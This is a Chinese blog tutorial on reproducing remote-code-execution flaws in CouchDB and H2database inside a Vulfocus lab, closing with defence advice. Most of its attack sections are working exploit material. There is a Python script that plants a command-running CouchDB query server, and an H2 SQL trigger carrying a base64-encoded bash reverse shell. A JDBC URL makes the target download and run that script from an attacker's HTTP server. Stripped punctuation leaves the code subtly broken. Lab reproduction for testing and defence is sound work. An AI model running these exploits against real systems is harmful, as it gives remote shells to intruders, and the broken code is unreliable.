别再只盯着Redis未授权了:CouchDB和H2database的隐藏RCE漏洞实战复现(附Vulfocus靶场搭建)

张开发
2026/4/15 15:11:40 15 分钟阅读

分享文章

别再只盯着Redis未授权了:CouchDB和H2database的隐藏RCE漏洞实战复现(附Vulfocus靶场搭建)
从Redis到冷门数据库实战复现CouchDB与H2database的RCE漏洞在渗透测试领域Redis未授权访问漏洞早已成为老生常谈的话题。但当我们把目光投向更广阔的数据库安全领域会发现CouchDB和H2database这类冷门数据库同样暗藏杀机。本文将带您深入探索这两个数据库的RCE漏洞实战复现揭示那些被大多数安全报告忽略的关键细节。1. 漏洞环境搭建与工具准备1.1 Vulfocus靶场部署本地搭建Vulfocus环境是复现这些漏洞的第一步。推荐使用Docker部署以下是最简化的部署命令docker pull vulfocus/vulfocus:latest docker run -d -p 8099:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP0.0.0.0 vulfocus/vulfocus部署完成后访问http://localhost:8099即可进入控制台。需要特别注意的是某些镜像可能需要手动同步遇到同步失败时可尝试以下解决方案检查Docker服务状态确认宿主机网络连接正常尝试更换Docker镜像源1.2 必要工具清单工具名称用途安装方式Another Redis Desktop ManagerRedis连接验证官网下载PostmanHTTP请求测试brew install postmannc反弹Shell监听apt install netcatPython3运行漏洞利用脚本系统自带2. CouchDB命令执行漏洞深度解析2.1 CVE-2017-12636漏洞原理这个漏洞源于CouchDB的查询服务器配置不当允许攻击者通过HTTP API执行任意操作系统命令。与Redis需要特定配置不同CouchDB的这个漏洞影响默认安装环境危害性更大。漏洞利用需要满足两个条件CouchDB版本低于1.7.0或2.1.1攻击者能够访问CouchDB的HTTP接口默认5984端口2.2 完整复现步骤在Vulfocus中启动CouchDB靶机环境使用Python脚本发起攻击import requests import json target http://靶机IP:端口 command 反弹Shell命令 session requests.session() session.headers { Content-Type: application/json } # 创建恶意查询服务 payload { language: cmd, views: { temp: { map: command } } } session.put(target /_config/query_servers/cmd, datajson.dumps(payload)) # 触发命令执行 session.put(target /test) session.put(target /test/_design/test, data{_id:_design/test}) session.post(target /test/_temp_view?limit10, data{language:cmd,map:})注意实际使用时需要将反弹Shell命令进行Base64编码避免特殊字符导致请求失败3. H2database的隐蔽RCE漏洞3.1 CVE-2022-23221技术细节H2database的控制台允许通过JDBC URL执行初始化脚本而缺乏对脚本来源的有效验证。攻击者可以构造恶意INIT参数诱导数据库从远程服务器加载并执行恶意SQL脚本。漏洞关键点影响版本2.1.210之前的所有版本利用无需任何认证可通过Web控制台默认8082端口直接触发3.2 分步利用指南准备恶意SQL文件h2database.sqlCREATE TABLE test (id INT NOT NULL); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS //javascript Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI5LzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i}); ;在攻击机上启动HTTP服务python3 -m http.server 8888在H2控制台的JDBC URL处输入jdbc:h2:mem:exploit;INITRUNSCRIPT FROM http://攻击机IP:8888/h2database.sql当目标加载该URL时将触发反弹Shell4. 横向对比与防御建议4.1 三大数据库漏洞对比维度RedisCouchDBH2database利用复杂度中等简单简单默认配置风险中高高需要认证否部分情况需要否影响范围特定版本广泛特定版本修复难度易中易4.2 实用防御措施对于CouchDB立即升级到最新版本配置防火墙规则限制5984端口的访问启用管理员密码认证对于H2database升级到2.1.210及以上版本禁止将控制台暴露在公网使用网络ACL限制9092和8082端口的访问在实际渗透测试中遇到这些数据库服务时建议按照以下优先级进行检测检查是否存在未授权访问验证是否受已知CVE影响尝试常规的弱口令爆破检查是否有数据泄露风险5. 漏洞复现中的常见问题在多次复现这些漏洞的过程中我发现以下几个容易踩坑的地方CouchDB版本匹配问题不是所有1.7.0以下的版本都存在漏洞最好使用官方确认的受影响版本进行测试H2database的JDBC URL格式INIT参数必须放在URL的最后否则可能无法正确执行反弹Shell编码问题确保使用Base64编码避免使用特殊字符测试时先用whoami等简单命令验证网络连通性# 测试目标到攻击机的连通性 curl http://攻击机IP:8888/h2database.sql对于企业安全团队建议将这些数据库纳入常规漏洞扫描范围特别是那些不常被关注的次要数据库服务。很多企业往往只重视Redis、MySQL等主流数据库的安全却忽视了这些同样危险的边缘服务。

更多文章